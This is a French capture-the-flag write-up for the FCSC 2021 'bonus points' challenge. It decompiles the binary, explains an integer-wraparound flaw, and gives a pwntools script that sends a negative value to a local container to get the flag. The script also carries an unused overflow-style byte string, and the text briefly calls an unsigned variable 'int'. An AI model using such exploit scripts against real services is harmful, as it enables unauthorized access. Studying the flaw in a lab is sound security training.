Le fichier bonuspoints
mis à disposition dans l’énoncé est un exécutable x86-64 not stripped ce qui va nous permettre de l’analyser avec un outil tel que Ghidra.
file bonuspoints
bonuspoints: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=785ccc1769db4cc76c8c188395c2c81c6ce52a50, for GNU/Linux 3.2.0, not stripped
L’analyse dans Ghidra nous montre le code principal :
undefined8 main(void) {
uint __seed;
int iVar1;
char local_1a [10];
int local_10;
uint local_c;
local_c = 0;
__seed = getpid();
srand(__seed);
iVar1 = rand();
local_c = iVar1 % 100;
puts("Hello, here you can get some bonus points for the competition.");
puts("You cannot get more than 100 bonus points.");
puts("If you go above 1000 you win.");
printf("Your score is currently %u\n",(ulong)local_c);
printf("How many bonus points do you want?\n>>> ");
fflush(stdout);
fgets(local_1a,8,stdin);
local_10 = atoi(local_1a);
if (local_10 < 0x65) {
local_c = local_c + local_10;
printf("Your new score is %u\n",(ulong)local_c);
if (local_c < 0x3e9) {
puts("You should try to get more points");
}
else {
puts("Congratulations! Here is your flag:");
fflush(stdout);
system("cat flag.txt");
}
}
else {
puts("Stop cheating!");
}
return 0;
}
Un nombre aléatoire est tiré par la fonction rand()
(le générateur de nombre aléatoires est initialisé à l’aide d’une graine tirée du PID
du process bonuspoints
. Ce nombre modulo 100 est placé dans la variable local_c
qui est de type uint
(c’est à dire un entier non signé sur 32 bits). La valeur initiale du nombre de points est affichée à l’écran et l’utilisateur doit choisir le nombre de points (inférieur à 100) qu’il souhaite se voir créditer.
En ayant un nombre de points initial maximum de 99 (à cause du modulo 100 et en pouvant pas demander plus de 100 points (local_10 < 0x65
) il paraît difficile d’obtenir 1000 points.
Analysons un peu le code suivant :
char local_1a [10];
int local_10;
uint local_c;
.../...
printf("How many bonus points do you want?\n>>> ");
fflush(stdout);
fgets(local_1a,8,stdin);
local_10 = atoi(local_1a);
.../...
if (local_10 < 0x65) {
local_c = local_c + local_10;
printf("Your new score is %u\n",(ulong)local_c);
Nous notons les points suivants :
-
8 caractères sont lus sur
stdin
pour la valeur du nombre de points demandés dans un buffer de 10 caractères (local_1a
), à priori on ne peut pas tenter de buffer overflow sur ce coup là. -
le nombre de points demandés qui a été lu est converti grâce à
atoi
dans la variablelocal_10
qui est de typeint
(c’est à dire un entier signé sur 32 bits ) -
le nombre final de points est calculé par
local_c = local_c + local_10
, c’est intéressant car si on demande un nombre négatif de points on va faire cycler le nombre de points à 4294967295 carlocal_c
est de typeint
. Il est possible de demander un nombre de points négatifs car le testlocal_10 < 0x65
vérifie juste que l’on demande un maximum de 100 points)
Sachant que nous partons avec un maximum de 100 points nous sommes certains de faire cycler notre nombre de points en demandant -123 points.
#!/usr/bin/python3
from pwn import *
from time import sleep
EXPLOIT = \
b'0123456789012345678901234567890123456789' + \
bytes.fromhex('8877665544332211') + b'\n'
conn = remote('localhost',4000)
print(conn.recvuntil(b'>>> '))
conn.send(b'-123\n')
print(conn.recv())
conn.close()
Nous utilisons le script suivant pour synchroniser les opérations et réaliser notre test, nous utilisons commande nc
pour attendre le temps nécessaire pour laisser au container le temps de démarrer :
#!/bin/bash
set -e
if [ ! -f docker-compose.yml ]; then
wget https://hackropole.fr/challenges/fcsc2021-pwn-bonus-points/docker-compose.public.yml -O docker-compose.yml
fi
docker-compose up -d
while ! nc -z localhost 4000; do sleep 1; done
python3 009_Bonus_points.py
docker-compose down
Le résultat est le suivant:
Creating network "009_bonus_points_default" with the default driver
Creating 009_bonus_points_bonus-points_1 ... done
[+] Opening connection to localhost on port 4000: Done
b'Hello, here you can get some bonus points for the competition.\nYou cannot get more than 100 bonus points.\nIf you go above 1000 you win.\nYour score is currently 95\nHow many bonus points do you want?\n>>> '
b'Your new score is 4294967268\nCongratulations! Here is your flag:\n'
b'FCSC{xxxxxxxx}\n'
[*] Closed connection to localhost port 4000
Stopping 009_bonus_points_bonus-points_1 ... done
Removing 009_bonus_points_bonus-points_1 ... done
Removing network 009_bonus_points_default